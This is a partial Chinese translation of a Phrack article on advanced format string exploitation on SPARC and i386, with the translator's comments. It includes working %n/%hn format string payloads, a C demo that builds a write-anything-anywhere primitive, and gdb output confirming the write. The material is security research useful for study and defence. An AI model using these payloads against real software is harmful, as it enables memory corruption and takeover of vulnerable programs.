原文地址:http://www.phrack.org/archives/59/p59_0x07_Advances in format string exploitation_by_riq & gera.txt
只翻译了部分小节。
--[ 6. The SPARC stack
在堆栈中,你将会找到栈帧。这些栈帧包含局部变量,寄存器,指向前一个栈帧的指针,返回地址等。
由于通过format string, 我们可以看到栈。我们更仔细的学习一下。
SPARc栈帧看起来如下:
frame 0 frame 1 frame 2
[ l0 ] +----> [ l0 ] +----> [ l0 ]
[ l1 ] | [ l1 ] | [ l1 ]
... | ... | ...
[ l7 ] | [ l7 ] | [ l7 ]
[ i0 ] | [ i0 ] | [ i0 ]
[ i1 ] | [ i1 ] | [ i1 ]
... | ... | ...
[ i5 ] | [ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ] ----+ [ fp ]
[ i7 ] [ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]
等等...
fp寄存器是一个指向调用者帧的指针。你可能猜到,"fp" means frame pointer
temp_N是存在栈里的局部变量。frame1从frame0局部变量结束的地方开始。frame2从frame1局部变量结束的地方开始...
所有这些帧都存储在栈里面。所以我们可以通过format string看到全部的栈帧
--[ 7. the trick
这个技巧的基于一个事实:每个栈帧都有一个指向前一个栈帧的指针。而且这种指针越多越好
为什么?因为如果我们有一个指向我们栈帧的指针,我们可以覆盖那个地址,使其指向任何地方。
--[ 7.1. example 1
加入我们想把0x1234写到frame的第十个偏移。我们要做的是:创建一个format string,当我们
到达stackframe0的fp指针时,其长度0x1234并且含有%n.
假如我们首先看到的参数是frame0的10哥寄存器,我们应该有一个类似如下的format string(python版本):
'%8x' * 8 + # pop the 8 registers 'l'
'%8x' * 5 + # pop the first 5 'i' registers
'%4640d' + # modify the length of my string (4640 is 0x1220) and...
'%n' # I write where fp is pointing (which is frame 1's l0)
所以,format string被执行后,我们的stack应该开起来如下:
frame 0 frame 1
[ l0 ] +----> [ 0x00001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]
--[ 7.2. example 2
如果我们决定写一个大数据,例如0x20001234,我们应该在栈里面找到两个指向同一地址的指针。
他应该如下:
frame 0 frame 1
[ l0 ] +----> [ l0 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] | [ i7 ]
[ temp 1] ----+ [ temp 1]
[ temp 2]
[注意:我们不会找两个指向同一地址的指针,虽然它很常见]
所以我们的format string应该看起来如下:
'%8x' * 8 + # pop the 8 registers 'l'
'%8x' * 5 + # pop the first 5 registers 'i'
'%4640d' + # modify the length of my format string (4640 is 0x1220)
'%n' # I write where fp is pointing (which is frame 1's l0)
'%3530d' + # again, I modify the length of the format string
'%hn' # and I write again, but only the hi part this time! #hn高位, 参考man 3 printf
并且我们将会得到如下结果:
frame 0 frame 1
[ l0 ] +----> [ 0x20001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] | [ i7 ]
[ temp 1] ----+ [ temp 1]
[ temp 2]
--[ 7.3. example 3
如果我们只有一个指针,我们可以在format string中通过用含有%argument_number$的"direct parameter access"获得同样的结果。
argument_number是1-30之间的数(in Solaris).
这时format string应该看起来如下:
'%4640d' + # change the length
'%15$n' + # I write where argument 15 is pointing (arg 15 is fp!)
'%3530d' + # change the length again
'%15$hn' # write again, but only the hi part!
所以我们获得相同的结果:
frame 0 frame 1
[ l0 ] +----> [ 0x20001234 ]
[ l1 ] | [ l1 ]
... | ...
[ l7 ] | [ l7 ]
[ i0 ] | [ i0 ]
[ i1 ] | [ i1 ]
... | ...
[ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ]
[ i7 ] [ i7 ]
[ temp 1] [ temp 1]
[ temp 2]
--[ 7.4. example 4
但是也有可能发生:没有两个指针指向相同地址,并且第一个指针指向的栈在前30个参数之外的栈。
这时该怎么办?
记住:通过%n,你可以写一个非常大的数据,例如0x00028000或者更大。同样应该记住,binary's PLT
位与非常低的地址,例如0x0002????,所以通过一个指向栈的指针,你可以获得一个指向binar's PLT的指针。
--[ 8. builind the 4-bytes-write-anything-anywhere primitive
--[ 8.1. example 5
为了达到把4-bytes长的任意数据写到任意地址的目的,我们应该从stack frame0开始,重复以上的工作。
并且在在其他的stack frame做也同样的工作。我们的结果应该是类似如下:
frame 0 frame 1 frame 2
[ l0 ] +----> [0x00029e8c] +----> [0x00029e8e]
[ l1 ] | [ l1 ] | [ l1 ]
... | ... | ...
[ l7 ] | [ l7 ] | [ l7 ]
[ i0 ] | [ i0 ] | [ i0 ]
[ i1 ] | [ i1 ] | [ i1 ]
... | ... | ...
[ i5 ] | [ i5 ] | [ i5 ]
[ fp ] ----+ [ fp ] ----+ [ fp ]
[ i7 ] [ i7 ] | [ i7 ]
[ temp 1] [ temp 1] |
[ temp 2] ----+
[ temp 3]
[注:我们想要改变的地址位于0x00029e8c]
所以,现在我们有两个指针,一个指向0x00029e8c,并且另一个指向0x00029e8e,我们最终达到我们目的了。
现在我们可以exploit这种情况,类似其他任何的format string vulnerability :)
format string应该如下:
'%4640d' + # change the length
'%15$n' + # with 'direct parameter access' I write the lower part
# of frame 1's l0
'%3530d' + # change the length again
'%15$hn' + # overwrite the higher part
'%9876d' + # change the length
'%18$hn' + # And write like any format string exploit!
'%8x' * 13+ # pop 13 arguments (from argument 15)我在自己机器上试了一下,printf实现不一样,不是从argument15开始,而是从argument 10开始
'%6789d' + # change length
'%n' + # write lower part
'%8x' + # pop
'%1122d' + # modify length
'%hn' + # write higher part
'%2211d' + # modify length
'%hn' # And write, again, like any format string exploit.
正如你所见,通过一个format string就实现了。但这不是总是可行的。如果我们不能创建两个指针。
我们需要做的是,两次使用format string。
Step 1. 我们创建一个指向 0x00029e8c的指针,然后我们用"%hn"覆盖0x00029e8c指向的值。
Step 2. 这次我们使用format string做和之前一样的事,但是通过0x00029e8e,其实不需要两个指针(0x00029e8c and 0x00029e8e)
因为先用%n写地位在用%hn写高位就可以了,但是你要两次使用同样的地址,只有通过"direct parameter access"才能实现。
--[ 9. the i386 stack
利用类似的技术,我们同样可以在i386架构中exploit一个基于堆的format string。
看看他是如何工作的:
frame 0 frame 1 frame 2 frame 3
[ ebp ] ---> [ ebp ] ---> [ ebp ] ---> [ ebp ]
[ ] [ ] [ ] [ ]
[ ] [ ] [ ] [ ]
[ ... ] [ ... ] [ ... ] [ ... ]
正如你所见,i368架构和APARC架构类似,主要的区别在于所有的地址是LE(little-endian)存储
frame0 frame1
[ LSB | MSB ] ---> [ LSB | MSB ]
[ ] [ ]
所以,在SPARC架构下,使用"%n"覆盖地址的LSB,然后用"%hn"覆盖MSB来写入一个指针的技巧,在这里不使用。
我们需要另一个指针,指向MSB地址,来达到写入的目的。如下:
+----------------------------+
| |
| V
[LSB | MSB] | [LSB | MSB] ---> [LSB | MSB]
[ ] | [ ] [ ]
[ ] -+ [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame B Frame C Frame D
正如你所猜测,这并不常见。所以,我们将要做的是,建立我们需要的指针,然后,使用他们。
警告!!!我们刚发现这种技术在最新的Linux中不可行,我们甚至不能确信他是否在任何版本中能正常工作(取决于libc/glibc版本)。
但我们知道,至少在OpenBSD, FreeBSD和Solaris中可行。
--[ 9.1. example 6
这个技巧将需要另一个frame...,然后我们会处理尽可能多的frame。
+----------------------------+
| |
| V
[LSB | MSB] ---> [LSB | MSB] -+ [LSB | MSB] ---> [LSB | MSB]
[ ] [ ] [ ] [ ]
[ ] [ ] [ ] [ ]
[ ... ] [ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C Frame D
Frame A有一个指向Frame B的指针。特别的,他指向Frame B的esp。所以,我们可以用"%hn"修改Frame B的ebp寄存器的LSB。
并且那就是我们想要的。现在Frame B不再指向Frame C,而是指向Frame D的ebp的MSB。
我们基于这样一个事实:ebp已经指向stack,并且只改变LSB就足以使其指向另一个frame的ebp。
也许有些问题(如果frame D和Frame C不再同一个 64k的segment--2^16 == 64k),但是我们会在接下来的例子中解决这个问题。
所以通过4个stack frame,我们可以在stack中建立一个指针,并且通过那个指针,我们可以在内存的任何地方写2-bytes。
如果我们有8哥stack frames,我们可以重复这个过程,来在stack里创建两个指针,这样我们可以在内存里写4-bytes。
--[ 9.2. example 7 - the pointer generator
有些情况下,我们没有4或8哥stack frames。所以我们能做什么呢?Well,使用"direct parameter access",我们可以使用3个stack
来做一切。并且不只是在任意内存写任意4-bytes,我们甚至可以实现在任意内存写任何东西。
来看看如何做,使用"direct parameter access",我们的目标,在stack中创建一个0xdfbfddf0地址,然后我们可以在将来通过"%hn"将数据写到这个地址。
step 1:
Frame B的ebp已经指向Frame C的ebp,所以,首先,我们要改变Frame C的LSB:
[ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
因为我们知道Frame B在stack的位置,我们可以用"direct parameter access",并且可能不止一次。
下面我们将会结束如何找到我们需要的direct parameter access number(注:也就是%m$n中的m)。
# step 1
'%.56816u' + # change the length (we want to write 0xddf0)
'%14$hn' + # Write where argument 14 is pointing
# (arg 14 is Frame B's ebp)
现在我们把Frame C的ebp改变了。
step 2:
[ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
由于Frame A的ebp已经指向Frame B的ebp,我们可以用它来改变Frame B的ebp的LSB,并且由于他已经指向Frame C
的ebp的LSB,我可以使他指向Frame C的ebp的MSB,现在我们不会遇到64k segment问题,因为Frame C的ebp的LSB必须与Frame C
的ebp的MSB位与同一个segment。因为它是4-bytes对齐...,很复杂。
例如如果Frame C位于0xdfbfdd6c,我们将要是Frame B的ebp指向0xdfbfdd6e,所以我们可以写目标的MSB
# step 2
'%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0)
'%6$hn' + # Write where argument 6 is pointing
# (assuming arg 6 is Frame A's ebp)
step 3:
+----------+
| V
[ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| MSB ]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
新的Frame B指向 Frame C的ebp的MSB。现在通过一个"direct parameter access",我们可以组建我们需要的地址。
# step 3
'%.593u' + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e)
'%14$n' + # Write where argument 14 is pointing
# (arg 14 is Frame B's ebp)
our result:
+----------+
| V
[ LSB | MSB ] ---> [ dd6e| MSB ] --+ [ ddf0| dfbf]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
正如你所见,在Frame C的ebp中,我们有一个指针,现在我们可以用它在任何位置写2-bytes,但是我们使用同一的技巧,
再次使用3个stack frames,来创建另一个指针。
理论明白了吗?来一个实例。
下面的例子将会使用3个frame(A, B, C)并且多个parameters access来把0xaabbccdd写到地址0xdfbfddf0。
他在OpenBSC3.0上测试过,可以在其他的系统中测试。我们将知道你如何移植。
/* fs2.c *
* demo program to show format strings techinques *
* specially crafted to feed your brain by
[email protected] */
do_printf(char *msg) {
printf(msg);
}
#define FrameC 0xdfbfdd6c
#define counter(x) ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a)
char *write_two_bytes(
unsigned long where,
unsigned short what,
int restoreFrameB)
{
static char buf[1000]={0}; // enough? sure! :)
static int a,b=0;
if (restoreFrameB)
sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff)));
sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff));
sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2));
sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10));
sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what));
return buf;
}
int main() {
char *buf;
buf = write_two_bytes(0xdfbfddf0,0xccdd,0);
buf = write_two_bytes(0xdfbfddf2,0xaabb,1);
do_printf(buf);
}
你需要改变的值:
%6$ number of parameter for Frame A's ebp
%14$ number of parameter for Frame B's ebp
%29$ number of parameter for Frame C's ebp
0xdfbfdd6c address of Frame C's ebp
为了获得争取结果:
gera@vaiolent> cc -o fs fs.c
gera@vaiolent> gdb fs
(gdb) br do_printf
(gdb) r
(gdb) disp/i $pc
(gdb) ni
(gdb) p "run until you get to the first call in do_printf"
(gdb) ni
1: x/i $eip 0x17a4 <do_printf+12>: call 0x208c <_DYNAMIC+140>
(gdb) bt
#0 0x17a4 in do_printf ()
#1 0x1968 in main ()
(gdb) x/40x $sp
0xdfbfdcf8: 0x000020d4 0xdfbfdd70 0xdfbfdd00 0x0000195f
0xdfbfdd08: 0xdfbfddf2 0x0000aabb [0xdfbfdd30]--+ (0x00001968)
0xdfbfdd18: 0x000020d4 0x0000ccdd 0x00000000 | 0x00001937
0xdfbfdd28: 0x00000000 0x00000000 +-[0xdfbfdd6c]<-+ 0x0000109c
0xdfbfdd38: 0x00000001 0xdfbfdd74 | 0xdfbfdd7c 0x00002000
0xdfbfdd48: 0x0000002f 0x00000000 | 0x00000000 0xdfbfdff0
0xdfbfdd58: 0x00000000 0x0005a0c8 | 0x00000000 0x00000000
0xdfbfdd68: 0x00002000 [0x00000000]<-+ 0x00000001 0xdfbfddd4
0xdfbfdd78: 0x00000000 0xdfbfddeb 0xdfbfde04 0xdfbfde0f
0xdfbfdd88: 0xdfbfde50 0xdfbfde66 0xdfbfde7e 0xdfbfde9e
OK,是时候获得正确值了。首先,0x1968(来自于bt命令) 是do_printf()函数指向完毕后返回的地方。
在stack中找到他(在本例中,它在0xdfbfdd14)。在其之前的一个word就是Frame A开始的地方,并且是保持Frame A的ebp的地方。
Great!现在我们需要找到它的direct parameter access number,这样一来,当我们执行函数的时候,
栈里面的第一个word是printf的第一个参数,#0.如果你数,从0开始,往Frame A的ebp方向,将会数到6个words。
那就是我们想要的数字。
现在定位Frame A的ebp指向哪里,那里就是Frame B的ebp,这里是0xdfbfdd6c。再数一次,你会得到14,第二个需要的值。
Cool,现在Frame B的ebp指向Frame C的ebp,我们已经有了另一个值:0xdfbfdd6c,为了获得需要的最后一个数,再数一遍,直到
到达Frame C的ebp(知道你达到地址0xdfbfdd6c),结果是29.
现在编辑你的fs.c, 编译它,gdbta,运行ni,你将会看到很多0,然后是:
(gdb) x/x 0xdfbfddf0
0xdfbfddf0: 0xaabbccdd
很明显,OK了。
还有一些其他有趣的方法。在本例中,printf没有从main()函数中调用,而是从do_printf函数中调用。
这时人为的来使我们可以玩3个frame。如果在main()里直接调用printf(),你将不会有3个frame。但是你可以通过使用argv和*argv
来达到相同的目的因为你唯一需要的是:一个在栈里的指针,指向栈里的另一个指针(该指针指向栈里的某个地方)。
另一个有趣的方法(甚至比原版还有趣)是,在栈里不是定位一个函数指针,而是一个返回地址。
这个办法将会更简洁(紧需要2个 "%hn",并且两个frame就够了),一次可以bruteforce很多地址,如果你想,你可以使用jmpcode
这次,我们将会把这两个实现留给读者。
值得注意的是,在i386架构中使用这种技术,Frame B破坏了stack frame chain。所以如果你的程序使用Frame C,
那么它可能会segfault,所以你需要在程序crash之前hook执行流。